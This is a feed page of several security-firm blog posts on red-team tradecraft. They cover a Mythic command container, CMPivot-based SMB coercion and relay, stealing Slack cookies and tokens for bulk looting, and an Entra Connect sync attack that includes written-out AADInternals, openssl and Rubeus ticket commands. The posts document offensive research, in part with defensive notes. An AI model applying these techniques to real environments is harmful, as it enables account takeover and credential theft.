Mythic uses Docker to provide a plug-and-play framework of adding/removing agents and communication profiles dynamically. This means that adding a new Docker container to Mythic simply adds that new agent. You can use that agent to build payloads, get callbacks, and run commands, but that’s all specific to that one agent. The commands from Apollo are not available to another agent like Poseidon, so how can Mythic provide some standardized command across multiple agents?

Mythic 3.3 introduced the concept of a “Command Augmentation” container that in many ways acts the same as a normal agent container. This container brings along new commands to Mythic; however, instead of having them tied to a specific agent, they’re automatically added to all callbacks that meet certain criteria. This criteria can be callbacks on certain operating systems or callbacks based on certain other agents. These “Command Augmentation” containers process the command like normal, but instead of handing that finished command to the agent for execution, it’s handed to another agent’s container for further processing.

Forge is the first “Command Augmentation” container released on the MythicAgents GitHub organization. The Forge Docker image is built with all of Flangvik’s SharpCollection compiled assemblies and Sliver’s Armory of compiled BOFs. Forge offers a few management commands that allow you to list out collections of commands, register assemblies/BOFs within your callbacks, add support for other agents, and more. Let’s look at two examples of what Forge can do.

.NET Assembly Support

Forge Collections SharpCollection

The forge_collections command allows you to list out the available commands that are part of a collection. The SharpCollection and SliverArmory collections exist by default, but you can add new ones at any time. In the output above, we can see the ability to re-download the command (this fetches the .NET versions again from GitHub and can be helpful if there’s a new version released), to register the command (make it available to execute), and some information about the command name and what the assembly does. Clicking the download or register buttons will register the command within this callback and all callbacks that have support with Forge. Let’s say we click the register button for the Rubeus entry. We’ll get a new command we can issue called forge_net_Rubeus; the name of this command allows you to easily identify commands added as part of Forge and if this is a .NET command or a BOF command.

New assembly commands always have the same arguments: the argument string that’s passed to the .NET assembly, the version of the assembly to use, and if this should be executed via execute_assembly (fork-and-run) or inline_assembly (in process).

Forge .NET Parameters

These parameters are always the same for each .NET assembly because in the offensive security community, .NET assemblies are made to take in a single string and do the parsing themselves instead of using named parameters.

BOF Support

Forge Collections Sliver Armory

BOF support in Forge works a little differently thanks to the amazing work that the Sliver team did for their Armory plugins. Unlike .NET assemblies, BOFs have a very specific set of arguments they take, in a specific order, and with specific formats. Many people use BOFs with Cobalt Strike, so they have Aggressor Scripting files created for them that describe these parameters. Unfortunately, this format isn’t usable outside of Cobalt Strike, but the Sliver team went above and beyond to convert many of these to JSON. As part of this, the Sliver team has forked versions many common BOF projects (e.g., https://github.com/sliverarmory/CS-Situational-Awareness-BOF) where they store compiled versions of the BOFs and this converted JSON data in tagged releases.

Forge hooks into their work by fetching the latest tagged release for the command you want to register and extracts the object files along with the extension.json file that describes the BOF’s arguments. Since Mythic already supports defining commands with named parameters, their types, and their orders, Mythic can use the extension.json file to dynamically create Mythic styled parameters.

BOF Argument Support

In this example, the BOF command forge_bof_sa-netgroup , takes three parameters: a number (0 or 1 based on the description) and two strings. Due to Sliver’s format, we can even identify which arguments are required and which ones are optional. Unfortunately, we miss additional context about default values that could be pre-populated, so that’s still up to the individual BOFs or for them to call out in their parameter descriptions.

When an operator submits this task, Forge looks up the associated extension.json file and converts these named parameters back into a normal Mythic TypedArray format that is then passed to a supporting agent’s command (like Apollo’s execute_coff ) for processing before a callback picks it up.

Normally, BOF execution requires an operator to upload the right object file, know the exact types and orderings of parameters for the bof (ex: zisZZZ), and provide the right values in that order. This would require execution like some_bof_command zisZZZ test 3 0 bob testing.com Mozilla. Naturally, this is error prone and not very operator friendly. With Forge, you could instead issue a task like forge_bof_myBof -location test -loops 3 -useAdmin 0 -user bob -domain testing.com -useragent Mozilla. Notice how, especially with all of the parameters being tab-completable, it’s much more operator friendly, especially if you don’t already know all of the parameters needed for the BOF.

Forging Forward

Forge is based on a series of JSON files on disk that describe things like what agents work with Forge, what collections are available, and what commands are available in each collection. You aren’t limited to SharpCollection and SliverArmory though. With the forge_create command, you can upload your own .NET assembly or BOF files (including extension.json) and have those turned into new commands on the fly. If you want to set this up ahead of time though, you can always edit the JSON files directly on disk or through the Mythic UI.

Forge comes with default support for the Apollo and Athena agents, but pull requests are always welcome to provide default support for other agents as well. Additionally, only Flangvik’s SharpCollection and Sliver’s Armory are pre-installed in the container. If the community has other sources of tooling they’d like to see pre-installed, PRs are also welcome.

Mythic has many different kinds of containers and features available, so hopefully Forge will inspire the community about other kinds of “Command Augmentation” containers they can make.

If you aren’t already aware, the BloodHound slack has open invites with a thriving community that discusses Mythic in the #mythic channel. I’m also available on Twitter, BlueSky, and Mastodon if you want to reach out.


Forging a Better Operator Quality of Life was originally published in Posts By SpecterOps Team Members on Medium, where people are continuing the conversation by highlighting and responding to this story.

  • ✇Posts By SpecterOps Team Members - Medium
  • Further Adventures With CMPivot — Client Coercion Diego lomellini
    Further Adventures With CMPivot — Client CoercionPerfectly Generated AI Depiction based on TitleTL:DRCMPivot queries can be used to coerce SMB authentication from SCCM client hostsIntroductionCMPivot is a component part of the Configuration Manager framework. With the rise in popularity for ConfigMgr as a target in red team operations, this post looks to cover a way other than using CMPivot (CMP) data gathering capabilities for taking over a computer object in Active Directory environments. If i
     

Further Adventures With CMPivot — Client Coercion

Further Adventures With CMPivot — Client Coercion

Perfectly Generated AI Depiction based on Title

TL:DR

CMPivot queries can be used to coerce SMB authentication from SCCM client hosts

Introduction

CMPivot is a component part of the Configuration Manager framework. With the rise in popularity for ConfigMgr as a target in red team operations, this post looks to cover a way other than using CMPivot (CMP) data gathering capabilities for taking over a computer object in Active Directory environments. If interested in leveraging CMP for data enumeration, see the previous post “Lateral Movement without Lateral Movement”

Why

After learning about CMPivot’s potential for offensive operations, how much information it can pull from a client host (almost as if you’d be operating within the target itself) and more importantly for this post, how it achieves this, I always itched to go a little further than just using the queries for how they are meant to be used (i.e., data collection). This post will showcase a simple but effective way to use CMPivot to coerce authentication from an SCCM/ConfigMgr client host.

CMPivot for offensive operators

From the point of view of an offensive operator, CMPivot’s “intended” use flow of remote data querying does have the potential to reveal information that could indirectly aid in taking over an SCCM client host. For example, if we use the query that allows us to read file contents and happen to find an SSH key on a client host, we could then leverage those keys for lateral movement.

Now, even though the ability to enumerate almost any data from a host is a big plus for us as offensive operators, that is where the intended capabilities of CMPivot’s end: with data enumeration.

Rather than allowing any type of remote command execution, CMP was designed with the sole purpose of gathering information from client hosts.

Note: SCCM/ConfigMgr does have built in ways for a user to achieve execution on clients when working under the right context and privileges. These privileges are not always attainable and probably more closely tracked nowadays.

CMPivot Relay Background

The way CMPivot gathers data from clients is by taking any queries we make on the CMPivot GUI or via SharpSCCM (adminservice command) and sends those to the CCMExec client engine living on a client host. After this the client software runs a PowerShell script with our CMP query as one of the parameters. The CMPivot client PowerShell script on the target will then filter our queries most of the time for use with WMI methods to enumerate the specific information we asked for. The results of those queries will be collected and sent back to the ConfigMgr/SCCM site Management Point. Ultimately, that data will be presented to the querying user’s GUI.

In most cases, whatever input we provide as part of these CMPivot queries is correlated to a WMI class and method executed on the client host. For example, let’s look at the CMPivot client side script located at C:\Windows\CCM\ScriptStore on client machines. When calling the “Users” CMPivot query from the GUI, the client side powershell script will leverage the Win32_LoggedOnuser WMI class as seen in the code block below.


elseif( $wmiquery -eq 'Users' )
{
$users = New-Object System.Collections.Generic.List[String]

foreach( $user in (get-WmiObject -class Win32_LoggedOnuser -ErrorAction Stop | Select Antecedent))
{
$parts = $user.Antecedent.Split("""")

# If this is not a built-in account
if(( $parts[1] -ne "Window Manager" ) -and (($parts[1] -ne $env:COMPUTERNAME) -or (($parts[3] -notlike "UMFD-*")) -and ($parts[3] -notlike "DWM-*")))
{
# add to list
$users.Add($parts[1] + "\\" + $parts[3])
}
}

# Create unique set of users
$users | sort-object -Unique | foreach-object { $results.Add(@{ UserName = $_ }) }
}

My assumption was that this was the modus operandi for all queries that we can make with CMPivot. Further inspecting the client-side PowerShell script shows this section referring to some “one-off” cases that are easier to deal with using straight PowerShell versus Windows Management Instrumentation (WMI) classes:


#Create the result set
$results = New-Object System.Collections.Generic.List[Object]

**#deal with one-offs that don't work well over WMI**
if( $wmiquery -eq 'SMBConfig' )
{
# Get Smb Config
$smbConfig = Get-SmbServerConfiguration -ErrorAction Stop| Select-object -Property $propertyFilter
.. SNIP SNIP ..

elseif ($wmiquery.StartsWith("FileContent(") )

Included in that section of the PowerShell script, we have the logic that deals with the “File” and “FileContent” CMPivot queries among others. Those two let us check if an arbitrary file exists on the target and to retrieve its contents depending on the type of data.

These two queries fall into what the CMPivot client script classifies as “one-off” calls. When calling either of those queries, our input is taken all the way to the command being executed , which can be seen here:

elseif ($wmiquery.StartsWith("FileContent(") )
{
$first = $wmiquery.IndexOf("'")+1
$last = $wmiquery.LastIndexOf("'")
$filepath = [System.Environment]::ExpandEnvironmentVariables( $wmiquery.Substring($first, $last-$first) )
#verify if the file exists
if( [System.IO.File]::Exists($filepath) )
{
$lines = (get-content -path $filepath -ErrorAction Stop)
# our code handles lines as list of object
# get-content return list of lines if multiple lines are present
# in case of single line a string is returned which is casted to list
if ($lines -is [string]) {
$lines = @($lines)
}
for ($index = 0; $index -lt $lines.Length; $index++)
{
$line = $lines[$index]
$hash = @{
Line = $index+1
Content = $line
}
$results.Add($hash)
}
}
}

Above, we can see that in the case of the “FileContent” query this is just ran as a simple PowerShell Get-Content cmdlet in the background.

CMPivot Reading File Content Remotely

Actual CMPivot Relay Demo

Where it gets more interesting is that the check for file existence [System.IO.File]::Exists($filepath) and the Get-Content cmdlet also allow for UNC paths and, as mentioned in my previous CMPivot blogpost, the actions taken to gather the data on client host are performed as NT AUTHORITY/SYSTEM. Something as simple as pointing our query to a UNC path under our control lets us coerce SMB authentication from any SCCM client host that we can run CMPivot queries against. Let’s look at a relay example.

For this example, I used PortBender to take over port 445/TCP on a previously compromised host where I had full control. If you are not familiar with PortBender, you can read about it here. There is also a great post by Nick Powers on taking over 445/TCP, which I highly recommend called Relay Your Heart Away: A Conscious Approach to 445 Takeover.

We start our relay server and point it to a certificate authority (CA) in order to take advantage of the incoming SMB authentication.

Relay Server Setup

Next, we set up our required proxies:

Cobalt Strike Socks Proxy

…and our port forwards.

Cobalt Strike 445 Port Forward Setup

The relay server is set to point our victim to the domain’s CA and request for a certificate which can later be used to request a kerberos ticket for the machine account of our target.

We can use tools like SharpSCCM to execute a CMPivot query against the target SCCM client. The admin-service command is our ally in this case. For more CMPivot and SharpSCCM admin-service usage details, see the previous post Lateral Movement without Lateral Movement.

SharpSCCM admin-service File Contents Read Query

If we have access to the CMPivot GUI, we can use the standard FileContent query.

CMPivot GUI File Contents Read Query

And we end up getting a hit on our relay server and the resulting base64 blob for our desired certificate.

Relay Server Hit

Outro

Hopefully, this adds one more tool to the arsenal when it comes to getting control of a machine object without executing foreign tradecraft on a target and helps build tradecraft depth when operating within ConfigMgr/SCCM environments. If a low privilege account has been assigned the right security roles, that user could potentially escalate their privileges with this technique.

Requirements

These are some of the permissions and security roles that allow CMPivot querying:

Permissions:

  • Run CMPivot permission on the Collection
  • Read permission on Inventory Reports
  • Read permissions on Devices and Collections.

Security Roles:

  • Read-Only Analyst (Built-in role) — Can run CMPivot queries but cannot take action.
  • Full Administrator — Has all permissions, including CMPivot.
  • Custom Role (if creating a new one) — Needs specific permissions (see below).

When dealing with a custom security role, it needs at at least the following permissions:

CMPivot Execution Permissions

Scope:

  • The user must have access to the collections where CMPivot is being executed.

Connectivity:

For the scenario presented in the example:

  • ConfigMgr clients should be able to talk to the Management Point
  • Clients need to be able to reach the relay or proxy server
  • A Certificate authority should be reachable

Abuse Vector:

  • A vulnerable template must be available

Resources


Further Adventures With CMPivot — Client Coercion was originally published in Posts By SpecterOps Team Members on Medium, where people are continuing the conversation by highlighting and responding to this story.

SlackPirate Set Sails Again! Or: How to Send the Entire “Bee Movie” Script to Your Friends in Slack

TLDR: SlackPirate has been defunct for a few years due to a breaking change in how the Slack client interacts with the Slack API. It has a new PR by yours truly to let you loot Slack again out of the box, and a BOF exists to get you all the credential material you need to do it. I recommend you let Nemesis do the heavy lifting of finding interesting data in what you pull back.

Slack Cookies BOF PR

SlackPirate PR

The BOF

This all started because I noticed that my brilliant colleague Matt Creel had added a new BOF to TrustedSec’s CS-Remote-OPs-BOF collection that pulled Slack cookies from the memory of either a browser or Slack client process. This would allow an operator to then utilize the stolen cookies to proxy browser traffic through a compromised machine and access the target organization’s Slack instance. He released a great blog about it if you want to learn more.

Slack is awesome, and full of valuable data about an organization. There’s the obvious stuff like people being lax and pasting credentials, but don’t forget that is also a comprehensive directory of who works there, and probably more valuable than their internal documentation (when was the last time you actually searched Confluence? Exactly.)

I was stoked to start using Matt’s BOF, since there hasn’t been an assessment where I got access to Slack where it didn’t prove useful. That said, something was nagging at me… This is the age of Nemesis! We don’t need to read anymore, reading is for squares! We have computers to do that for us while we watch short-form videos of animals with funny things on their heads (see below). Reading Slack was no exception.

A classic.

So I set out to find a good Slack looter. I quickly stumbled upon SlackPirate, created by Mikail Tunç, which seemed to be the defacto choice. And for good reason! It is simple, fairly comprehensive, and also quite modular; you can change what is being searched for with relative ease. By default though it does a lot, such as:

  • Scraping all messages for private keys, passwords, and cloud provider credentials
  • Grabbing a list of all Slack users
  • Downloading hosted files en-masse
  • Pulling important Slack-specific data, such as pinned messages

Great! I plugged in my cookie and… no dice. I was unable to authenticate to any of the API endpoints I should be able to. I knew the Slack cookie I had was valid, so it was time to investigate.

Troubleshooting

Figuring out what was the matter was pretty breezy! Slack is an Electron app, so you can still access the Chrome dev tools. Slack used to allow this by exporting a particular environment variable:

SET SLACK_DEVELOPER_MENU=TRUE && start C:\Users\<USER>\AppData\Local\slack\slack.exe

You could then access the developer tools by pressing ctrl + alt + i. This no longer works for me, so I instead opted to use Chrome remote debugging, which was successful.

(NOTE: If you’re reading this blog, there’s a good chance your security team will have an alert in place for Chrome remote debugging to prevent cookie crimes. You may want to check with them before doing this on a work computer.)

C:\Users\<USER>\AppData\Local\slack\slack.exe --args --remote-debugging-port=9222

Then when you browse to chrome://inspect/ you will be able to see Slack as with option to inspect:

Chrome remote debugging

By pressing “inspect” you get your dev tools, plus a neat window of the Electron app you are debugging! I have never tried to use this to screen-peek on an Electron app over a proxy, but wouldn’t that be neat.

Inspecting Slack network traffic

My strategy at this point was to record network traffic while performing actions that seemed like they would have to be hitting a defined API endpoint from the client and seeing what the network traffic looked like. For example, going to the “users” page and finding what endpoint got hit to retrieve them. That’s what I am doing in the screenshot above for the BloodHoundGang slack (which you should join if you haven’t).

This allowed me to compare the requests with what was being performed in SlackPirate and determine what had changed to break it.

Turns out, not much! The APIs ended up being the same as before, the only piece that was missing what that now requests were made with a token included in the request payload itself, in addition to the cookie in the headers we already knew about.

An API request for user data containing an API token

As you can see, this token is also in a nice searchable format, starting with “xoxc”, so the same technique used by Matt’s BOF to pull the cookie from memory can be used for the token. Now the BOF pulls both, and can be used not only get the credential material needed to browse a target organization’s Slack via a proxy, but also interact with it programmatically.

With these two pieces of information, you can hit the Slack API just as if you were the client when a user clicks around and types. You can even make your own janky Slack bots that post out of your account… which of course I did. But you already knew that from the title. So here’s screenshots of my fellow Specters suffering while I posted the entire Bee Movie into our group chat, each line as its own message. We all know it’s what you’re here for.

🐝
The aftermath

Quick aside — you may be thinking: Why go through all the trouble of doing this with the Electron client? Why not just open Slack in a web browser and inspect that traffic?

Anecdotally, I see people using the client way more often, so I wanted to make sure whatever I looked at would be representative of that. Also developers seem to trust dedicated clients more, so the tokens and cookies you snoop from them last much longer. For instance my buddy Jesko got tired of having to reauth to Slack, so he snagged a token from his phone’s client that never expires. My janky Slack bots haven’t had to reauth yet either.

SlackPirate Updates

So with our new programmatic access, it is time to loot! For the most part all of my changes to SlackPirate were updating the script to utilize the new token in addition to a cookie. There are a few other changes I threw in though that you may want to be aware of:

  • There was an “interactive mode” that let you interact with multiple workspaces. This functionality has been removed and you will always need to provide the appropriate token and cookie for the individual workspace you want to target as arguments to the script
  • The list of what files and strings are searched for by default is more focused on finding credential material, especially in file formats that are easy for Nemesis to parse
  • Various functions targeting AWS data have been changed to also look for Azure data

And there you have it. With these new updates, you are ready to get back to a nice easy life of not reading and letting Nemesis read your target’s whole Slack for you. So kick back and let your reading comprehension regress to a third-grade level with another classic animal-with-thing-on-head video from the cellar. It is a fine vintage.


SlackPirate Set Sails Again! Or: How to Send the Entire “Bee Movie” Script to Your Friends in Slack was originally published in Posts By SpecterOps Team Members on Medium, where people are continuing the conversation by highlighting and responding to this story.

  • ✇Posts By SpecterOps Team Members - Medium
  • Entra Connect Attacker Tradecraft: Part 2 hotnops
    Now that we know how to add credentials to an on-premises user, lets pose a question:“Given access to a sync account in Domain A, can we add credentials to a user in another domain within the same Entra tenant?”This is a bit of a tall order assuming we have very few privileges in Entra itself. Remember from Part 1 that the only thing we can sync down, by default, is the msDS-KeyCredentialLink property. In order to understand how to take advantage of this, we need to learn some more fundamentals
     

Entra Connect Attacker Tradecraft: Part 2

22 de Janeiro de 2025, 14:32

Now that we know how to add credentials to an on-premises user, lets pose a question:

“Given access to a sync account in Domain A, can we add credentials to a user in another domain within the same Entra tenant?”

This is a bit of a tall order assuming we have very few privileges in Entra itself. Remember from Part 1 that the only thing we can sync down, by default, is the msDS-KeyCredentialLink property. In order to understand how to take advantage of this, we need to learn some more fundamentals of the Entra sync engine and how the rules work:

Rule Intro

We have yet to look at a concrete rule, so let’s look at the first rule defined in the Rules Editor.

Note that the direction is not shown here, but I am showing the inbound rules in the sync rules editor. The direction is in the XML definition. The “Connected System” is the connector space that the source object is coming from (in this case, hybrid.hotnops.com). Since the AD object is a user, the connector space object is “user” and the user representation in the metaverse is called a “person”. The link type of “Provision” is saying “create a metaverse object if one does not exist yet”. In sum, this rule is telling the sync engine to create a metaverse object for any user in the connector space. Remember the connector is responsible for enumerating LDAP and populating all AD users into the connector space.

Next, the scoping filter sets which objects are to be provisioned. We can see here that if the connector space object has a property of isCriticalSystemObject not set to “true” AND adminDescription doesn’t start with “User_”, then the object will be provisioned. Remember that the object still exists in connector space, even though it won’t be projected into the metaverse.

Next, we get to the “join” rules which are critical to understand. The join rules are the logic that creates the links between the metaverse objects, and the connector space objects, resulting in concrete MSSQL relationships. In this case, the rule is saying that the ms-DS-ConsistencyGuid on the connector space object needs to match the sourceAnchorBinary on the metaverse object. If the ms-DS-ConsistencyGuid property doesn’t exist, the objectGUID is used. It’s also important to remember that joins happen for both inbound (from a connector space into the metaverse) and outbound (from the metaverse into the connector space) attribute flows.

Lastly, the transformations list which target object properties need to be mutated. Note that the language for these transformations is effectively VBA. In this case, two properties will be set on the metaverse person:

  1. cloudFiltered — This will be important later. This is a rather large rule that describes a list of string patterns, such as if the sAMAccountName starts with “krbtgt_” or “AAD_”, etc. If “true”, then a property called cloudFiltered will be set to “true” on the metaverse object.
  2. sourceAnchorBinary — Remember this from the join rule? In this rule, the sourceAnchorBinary is set on the metaverse object to match either the ms-DS-ConsistencyGuid or the objectId.

We have now walked through a full provisioning rule but note that most rules do not provision anything; rather, they are joined to existing objects and certain transformations are projected into the metaverse.

So far, we have described the flow into the metaverse, so how does a property flow out? Let’s take a look at the two rules we care about. First, let’s look at how users are provisioned in Entra:

The “Link Type” is “Provision”, meaning that a new object will be created in the Entra connector space. The Entra connector (Sync Agent), will use that object creation to trigger a new user creation in Entra.

This part is really important. If we look at the filter, objects are only provisioned to the Entra connector space if all of these conditions are met. Remember that some of our privileged accounts, such as the “MSOL” account, “krbtgt”, and “AAD_” account names are set to be cloud filtered. That means that they are projected into the metaverse, but the Entra user provisioning is simply being blocked by the sync engine.

Last rule, I promise. Let’s look at how Entra users are joined to on-premises users:

This is saying that if an Entra user with a source anchor matches a metaverse object with the same source anchor, they will be tied together.

Do you see it?

There are partially linked objects in the metaverse, and we can trigger a link by creating a new user with the matching sourceAnchor.

In simple terms, CloudFiltered objects are prevented from being provisioned only! AKA Outbound Filtering. If we can provision the Entra user ourselves, we can complete the inbound join rule and take over the user account in another domain, as long as the MSOL account can write their msDS-KeyCredentialLink property.

And chaining this together, because we can control the user password and creation from the compromised sync account in Domain A, we can then add the WHFB credentials discussed in the part one of this blog series and add credentials to a potentially privileged user.

Before we continue, this attack has some important caveats:

The MSOL account used for attribute flows has write permissions at the “Users” OU level by default. If a user account has inheritance disabled, then MSOL will not be able to write to it and this attack will not affect the account.

Walkthough

Enough talking; let’s do a walkthrough. In this scenario, we have a tenant (hotnops.com) with two on-premises domains: federated.hotnops.com and hybrid.hotnops.com. As an attacker, we have fully compromised federated.honops.com and have an unprivileged Beacon in hybrid.hotnops.com. We will take advantage of the compromised Entra Connect Sync account in federated.honops.com to take over hybrid.hotnops.com.

If you want a full walkthrough with all the command line minutae, the video is here:

Step 1

From the Beacon in hybrid.hotnops.com, we need to identify an account we’d like to take over and identify the sourceAnchor that we need.

To do this, we want to find partially synced metaverse objects. For the sake of this walkthrough, we can run dsquery:

#> dsquery * "CN=Users,DC=hybrid,DC=hotnops,DC=com" -attr *

With those results, we want to look for any account that matches our “CloudFiltered” rule, which is defined here.
In our case, there is an account named “AAD_cb48101f-7fc5–4d40-ac6c-09b22d42a3ed”. These are older connector accounts installed with AAD Connect Sync. If you identify an account that may be cloud filtered, you will need the corresponding ObjectID associated with the account that is in the dsquery results. In our case, the object ID is

0A08E28B-5D21–4960-A25A-F724F1E96155

Since the ObjectId is used as the sourceAnchor, we want to create a new Entra user with that sourceAnchor so it will link to our targeted “AAD_” account. In order to convert the UUID to a sourceAnchor, we simply need to convert the UUID to a binary blob where each section is little endian. I have a script to do it here, but there are probably easier ways.

./uuid_to_sourceAnchor.py 0A08E28B-5D21–4960-A25A-F724F1E96155

We now want to use our Sync Account in federated.hotnops.com to create a new user with that sourceAnchor so that it will create a link to our target user in hybrid.hotnops.com. We can do that by obtaining credentials for the ADSync account and using the provisioning API. You’ll need to obtain an access token for the ADSync account, which I demonstrate in the video linked above. Once you have your token, you’ll need to use AADInternals to create the account.

#> Set-AADIntAzureADObject -AccessToken $token -SourceAnchor $sourceAnchor -userPrincipalName <upnOfTarget> -accountEnabled $true

At this point, we have achieved Step 1. We have a new user in Entra with a matching sourceAnchor, and now we need to wait up to 30 minutes (by default) for the target domain to run an Entra Connect sync, at which time the Entra user and the on-premises target “AAD_cb48101f-7fc5–4d40-ac6c-09b22d42a3ed” link together.

Step 2

Once the user is created, add an msDS-KeyCredentialLink to the newly created Entra user as documented in the first blog post in this series.

Step 3: Profit

Once the Entra Connect sync agent on hybrid.hotnops.com runs the next sync, it will use the join rule “In from AAD — User Join” to link the Entra user to the metaverse object associated with the on-premises “AAD_cb48101f-7fc5–4d40-ac6c-09b22d42a3ed” account.

From here, we will use our Beacon in hybrid.hotnops.com and methods documented in the Shadow Credentials blog to elevate privileges.

As a result of registering a Windows Hello For Business (WHFB) key on your created Entra user, you will have a key called “winhello.key”. In order to use it with Rubeus, we need to format it as a PFX file. The steps are below:

openssl req -new -key ./winhello.key -out ./winhello_cert_req.csr
openssl x509 -req -days 365 -in ./winhello_cert_req.csr -signkey ./winhello.key -out ./winhello_cert.pem
openssl pkcs12 -export -out aad.pfx -inkey ./winhello.key -in ./winhello_cert.pem

Now, we need to go to our Beacon on hybrid.hotnops.com and upload the PFX:

beacon> upload aad.pfx

Now, run the Rubeus command:

beacon> rubeus asktgt /user:AAD_cb48101f-7fc5–4d40-ac6c-09b22d42a3ed /certificate:C:\Path\To\aad.pfx /password:"certPassword" /domain:hybrid.hotnops.com /dc:DC1-HYBRID.hotnops.com /getcredentials /ptt

Congratulations! Your Beacon process now has a token for your targeted account.

Prevention

Identify All Partially Synced Users

For our purposes, a partially synced user is one that has an object in the on-premises connector space, a projection in the metaverse, but not an object in the Entra connector space. The reason why these exist, as mentioned earlier, is due to outbound filtering. In order to determine which users are partially synced, we can query all the objects in the metaverse and connector spaces and see which ones don’t have an object in the Entra connector space. The script to do that is here and here is an example output:

Identify All Privileged Users Inheriting Permissions From the Users OU

When Entra Connect is installed, an Active Directory Domain Services (AD DS) Connector account is created in the naming scheme of “MSOL_<random garbage>”. This account is responsible for syncing hashes (yes, it has DCSync privileges) and reading/writing properties on users to support the attribute flows. As a result of this, the MSOL account is given write all over all users in the “Users” OU.

That means this attack can affect any user that inherits their discretionary access control lists (DACLs) from the Users OU (which is pretty much all users). This is generally true of any Sync attack; however, something I learned during this research is that users added to sensitive privileged groups such as Domain Administrators will automatically have their inheritance disabled. Even when I re-enable it, some script comes along and disables it again. This led me to this technet article which claims that any AD group marked “protected” will routinely get a template DACL applied to them located at CN=AdminSDHolder,CN=System,DC=hybrid,DC=hotnops,DC=com.

So which users are “protected”?

Any user that has the adminCount property set to “1”. (Edit: Thanks to Clément Notin (@cnotin) for pointing out that the adminCount is the result of AD evaluating such criteria, not the source. More details here) Ultimately, as long as the target’s msDS-KeyCredentialLink attribute is writable by the MSOL account AND it is partially synced, then it is susceptible to this attack. I provided a powershell cmdlet to list all users that inherit their DACLs from the Users OU:

Detection

Detection of this misconfiguration/attack may be difficult but there are some solid signals that something is off. If any users in the Entra connector space have a metaverse projection with a “cloudFiltered” attribute set to “true”, then something is wrong. You can use the powershell cmdlet here to check for those users. While this doesn’t detect all hijackable metaverse objects, it does cover the most obvious case of cloudFiltered users.

References

Microsoft Entra Connect Sync: Configure filtering - Microsoft Entra ID

Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover | by Elad Shamir | Posts By SpecterOps Team Members

Gerenios/AADInternals: AADInternals PowerShell module for administering Azure AD and Office 365

DEF CON 32 — Abusing Windows Hello Without a Severed Hand — Ceri Coburn, Dirk jan Mollema

Introducing ROADtools Token eXchange (roadtx) — Automating Azure AD authentication, Primary Refresh Token (ab)use and device registration — dirkjanm.io

aadinternals.com/talks/Attacking Azure AD by abusing Synchronisation API.pdf


Entra Connect Attacker Tradecraft: Part 2 was originally published in Posts By SpecterOps Team Members on Medium, where people are continuing the conversation by highlighting and responding to this story.

  • ✇Posts By SpecterOps Team Members - Medium
  • Life at SpecterOps Part II: From Dream to Reality Duane Michael
    TL;DRWe are hiring consultants at various levels. The job posting can be found under the Consultant opening here: https://specterops.io/careers/#careersIntroductionHey, it’s me again! The last time we spoke back in August 2024, I told you all about life and some of the intangible benefits of working as a consultant at SpecterOps. In that blog post, I also promised a follow-up that outlines the interview process. So, here we are…My goal for this blog is to provide a high level overview of our rec
     

Life at SpecterOps Part II: From Dream to Reality

TL;DR

We are hiring consultants at various levels. The job posting can be found under the Consultant opening here: https://specterops.io/careers/#careers

Introduction

Hey, it’s me again! The last time we spoke back in August 2024, I told you all about life and some of the intangible benefits of working as a consultant at SpecterOps. In that blog post, I also promised a follow-up that outlines the interview process. So, here we are…

My goal for this blog is to provide a high level overview of our recruiting process for consultants. I’ll explain what each step entails but I will not provide specific technical details or hints for any challenges. I want to demystify our recruiting process and make it less intimidating and hopefully encourage those of you who have considered taking that next step but haven’t yet.

Process Overview

Step 1: Application Review

This step may seem obvious. The first thing we do after receiving your application is review your resume and the questions you answered on the submission form. Our recruiters are excellent and will determine if an application meets the requisite criteria to advance (depending on the position and level). Everyone has a unique story, background, and experience; therefore, we give the application a holistic review. Thoughtful responses to the application questions will receive extra attention compared to applications that ignore them.

The requisite criteria for each level is outlined in the respective job postings. On a broader level, we’re looking for prior technical (offensive or defensive, depending on the role) security and consulting experience. Do you have security experience but no consulting experience? That’s OK, but it may affect the level at which we interview you (e.g., Associate, Consultant, or Senior). Sometimes we target specific levels, such as Consultant or Senior Consultant. During such periods, we may reject Associate-level applications or hold onto them until we hire Associates again in the future.

We like to see community involvement and sharing. We’re looking for candidates that share our commitment to transparency. Do you publish blogs, research, and/or tools? What has your learning and development journey been like through your career? That does not mean you have to write the next Rubeus or BloodHound. Any level of contribution goes a long way. Contributions can be blog posts, walkthroughs, notes from a course, PoC or helper scripts from a training, experimental tools, or contributions to other people’s repos. Make sure to include links to your contributions and accomplishments on your resume!

Note: Be prepared to discuss your resume content and community contributions.

Step 2: Scripting Challenge

We liked your resume and application and want to get to know you better.

The next step is a scripting challenge, where you will enter a challenge on a coding platform and solve a solution in a language of your choice. The environment is recorded but we do not set a strict time limit (e.g., one hour). We encourage you to take your time, pay attention to detail, and consult appropriate references. It is pass/fail and the solution must be exactly correct.

The challenge should be doable for anyone with fundamental scripting skills. If you’ve written automation, PoC scripts, or open-source contributions, you should be able to pass this challenge. If you are a clear senior-level candidate and have extensive open-source software contributions, we may waive the scripting challenge.

Basic scripting/programming ability is a requirement to be a successful red team operator. Therefore, this challenge identifies those that meet that minimum requirement.

Step 3: Preliminary Interview

Great! You passed the scripting challenge and made it through to the next phase. Now our recruiters will get to know you better on a video conference where they will talk about your background, experience, career aspirations, salary expectations, etc. This is also an opportunity for you to ask the recruiters questions about the position and company. This step is fairly straightforward and where the real interview process begins.

All of our interviews will be conducted virtually via video conference and we expect you to be on camera.

Step 4: Technical Challenge

After the preliminary interview, you’ll receive the prompt for a technical challenge that varies based on the role. The primary goal of the challenge is to gauge your technical depth, writing ability, and creativity. Rather than taking a pass/fail approach to assessing your response, we gauge where your submission is on a capability spectrum. We’re looking to see how deep you can go and how well you convey technical information in a clear and concise manner.

Disclaimer: Of course, there is a minimum bar. Not all submissions will advance past this round, especially when we’re seeking only more senior candidates.

The technical challenge will inform us on where your technical capabilities are in preparation for the technical interview. If your submission reads like Senior-level work, then your technical interview will be anchored at that level. There is no hard timeline on the technical challenge but you should submit it within approximately one week.

Step 5: Technical Interview

If we like your technical challenge submission, we’ll advance to the technical interview. This interview is 60 minutes and will be conducted by three senior members of our consulting staff. Similar to the previous round, we’re not looking to stump you. We will ask you about experiences and seed some topics with questions and see how deep you can go.

It is absolutely okay to say you don’t know something. It is also encouraged to talk through your thought process so the interviewers get a glimpse of how you think. Please don’t try to cover up a knowledge gap. It will be obvious. No one knows everything, and we understand that. It’s OK. Be humble and keep it real!

We’ll leave some time at the end of the interview for you to ask us questions. After all, a job interview is as much about you interviewing us as it is the converse.

Step 6: Peer Interview

